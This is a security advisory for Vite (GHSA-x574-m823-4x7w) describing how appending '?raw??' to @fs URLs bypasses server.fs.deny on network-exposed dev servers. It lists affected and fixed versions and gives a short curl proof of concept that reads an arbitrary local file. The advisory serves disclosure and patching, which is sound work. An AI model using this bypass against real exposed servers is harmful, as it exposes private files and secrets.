GHSA-x574-m823-4x7w

Suggest an improvement
Source
https://github.com/advisories/GHSA-x574-m823-4x7w
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-x574-m823-4x7w/GHSA-x574-m823-4x7w.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-x574-m823-4x7w
Aliases
Published
2025-03-25T14:00:02Z
Modified
2025-03-25T14:00:02Z
Severity
  • 5.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N CVSS Calculator
Summary
Vite bypasses server.fs.deny when using ?raw??
Details

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Database specific
{
    "nvd_published_at": "2025-03-24T17:15:21Z",
    "cwe_ids": [
        "CWE-200",
        "CWE-284"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-25T14:00:02Z"
}
References

Affected packages

npm / vite

Package

Affected ranges

Type
SEMVER
Events
Introduced
6.2.0
Fixed
6.2.3

npm / vite

Package

Affected ranges

Type
SEMVER
Events
Introduced
6.1.0
Fixed
6.1.2

npm / vite

Package

Affected ranges

Type
SEMVER
Events
Introduced
6.0.0
Fixed
6.0.12

npm / vite

Package

Affected ranges

Type
SEMVER
Events
Introduced
5.0.0
Fixed
5.4.15

npm / vite

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.5.10